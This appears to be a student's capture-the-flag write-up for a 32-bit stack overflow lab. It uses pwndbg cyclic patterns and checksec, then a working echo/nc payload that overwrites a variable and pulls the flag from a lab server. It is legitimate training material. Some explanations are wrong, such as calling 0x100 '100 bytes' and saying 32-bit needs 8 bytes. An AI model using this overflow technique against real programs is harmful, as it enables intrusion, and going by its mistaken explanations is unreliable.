

Lab Task 08 (Binary Exploitation)

Challenge Name: Overwrite

Category: Binary Exploitation

First of all I checked the code to see what's happening

```
(kali㉿kali)-[~/Downloads]
$ cat overwrite.c
#include <stdio.h>

void vuln() {
    int *overwrite = 0;
    char buffer[10];
    printf("Enter your name: ");
    fflush(stdout);
    read(0, buffer, 0x100); // Taking input from user
    if(overwrite == 0x1337) {
        printf("You really are 1337. Here's your flag: CY243L{F4k3_FLAG}\n");
    } else {
        printf("Nope. Still loads to learn.");
    }
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    vuln();
}
```

Here in this code, we can see that we have a buffer of `10` but when using the `read` function, the buffer is written as `0x100` which means we can pass 100 bytes of data. So now we try to send `20` A as input

```

pwndbg> cyclic 20
aaaabaaacaaadaaaaeaaa
pwndbg> run
Starting program: /home/kali/Downloads/overwrite
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter your name: aaaabaaacaaadaaaaeaaa
Nope. Still loads to learn.[Inferior 1 (process 225352) exited normally]

```

Now lets try to increase the input to a point where it gives us error

```

pwndbg> cyclic 32
aaaabaaacaaadaaaaeaaafaaagaaahaaa
pwndbg> run
Starting program: /home/kali/Downloads/overwrite
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter your name: aaaabaaacaaadaaaaeaaafaaagaaahaaa
Nope. Still loads to learn.
Program received signal SIGSEGV, Segmentation fault.
0x61686161 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ REGISTERS / show-flags off / show-compact-regs off ]
*EAX 0x1b
*EBX 0x61666161 ('aafa')
*ECX 0xffffcf7c <-- 0xc07a2c00
*EDX 0x1
*EDI 0xf7ffcba0 (_rtld_global_ro) <-- 0x0
*ESI 0x8049430 (__libc_csu_init) <-- endbr32
*EBP 0x61676161 ('aaga')
*ESP 0xffffcfff <-- 0xff0a6161
*EIP 0x61686161 ('aaha')
[ DISASM / i386 / set emulate on ]
Invalid address 0x61686161

```

Now we can see that the program has crashed.

Creating a cyclic of 100 to see what value is stored in the `eip` we get the following

```

pwndbg> cyclic 120
aaaabaaacaaadaaaaeaaafaaagaaahaaaiaaajaakaaalaaamaanaaaaaapaaaqaaaraasaaataaaauaaaavaawaaaxaaayaaaabbaabcaabdaabeaab
pwndbg> run
Starting program: /home/kali/Downloads/overwrite
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter your name: aaaabaaacaaadaaaaeaaafaaagaaahaaaiaaajaakaaalaaamaanaaaaaapaaaqaaaraasaaataaaauaaaavaawaaaxaaayaaaabbaabcaabdaabeaab
Nope. Still loads to learn.
Program received signal SIGSEGV, Segmentation fault.
0x61686161 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ REGISTERS / show-flags off / show-compact-regs off ]
*EAX 0x1b
*EBX 0x61666161 ('aafa')
*ECX 0xffffcf7c <-- 0xe9aaa500
*EDX 0x1
*EDI 0xf7ffcba0 (_rtld_global_ro) <-- 0x0
*ESI 0x8049430 (__libc_csu_init) <-- endbr32
*EBP 0x61676161 ('aaga')
*ESP 0xffffcfff <-- 'aaiaaajaakaaalaaamaanaaaaaapaaaqaaaraasaaataaaauaaaavaawaaaxaaayaaaabbaabcaabdaabeaab\n'
*EIP 0x61686161 ('aaha')
[ DISASM / i386 / set emulate on ]
Invalid address 0x61686161

```

```
*ESP 0xffffcfff ← 'aaiaaa'  
*EIP 0x61686161 ('aaha')
```

In gdb we can find the exact offset using `cyclic -l` followed by the value inside the `eip`

```
pwndbg> cyclic -l aaha  
Finding cyclic pattern of 4 bytes: b'aaha' (hex: 0x61616861)  
Found at offset 26  
number cyclic is 10
```

Now that we know the value is getting overwritten, we can send the value `0x1337` but we cannot send it exactly because it goes as literal string of `0x1337` and not as data so I will send it using `echo -e` which will send it as data

Moreover, using `checksec` we can confirm that the binary is working with `little` endians

```
$ checksec overwrite  
[*] '/home/kali/Downloads/overwrite'  
Arch: i386-32-little  
RELRO: Partial RELRO  
Stack: No canary found  
NX: NX enabled  
PIE: No PIE (0x8048000)
```

So now I'll send the value of `\0x13\0x37` as `\0x37\0x13.`

Moreover, the binary is 32-bit and not 64-bit so we have to send 8 bytes of data so we add `\x00\x00`

So our final exploit becomes

```
echo "HHHHHHHHHH\0x37\0x13\x00\x00" | ./overwrite
```

Running it will get the flag in local

```
(kali㉿kali)-[~/Downloads]
$ echo -e "HHHHHHHHHH\x37\x13\00\00" | ./overwrite

Enter your name: You really are 1337. Here's your flag:[FAIL] Contact an admin.
```

To get flag on server i use the following command

```
echo -e "AAAAAAAAAA\x37\x13\00\00" | nc section-a.cy243l.ooguy.c
```

```
(kali㉿kali)-[~/Downloads]
$ echo -e "AAAAAAAAAA\x37\x13\00\00" | nc section-a.cy243l.ooguy.com 34238
Enter your name: You really are 1337. Here's your flag:CY243L{y0u_0verwr0t3_m3_xz7CEtE}
```

Challenge done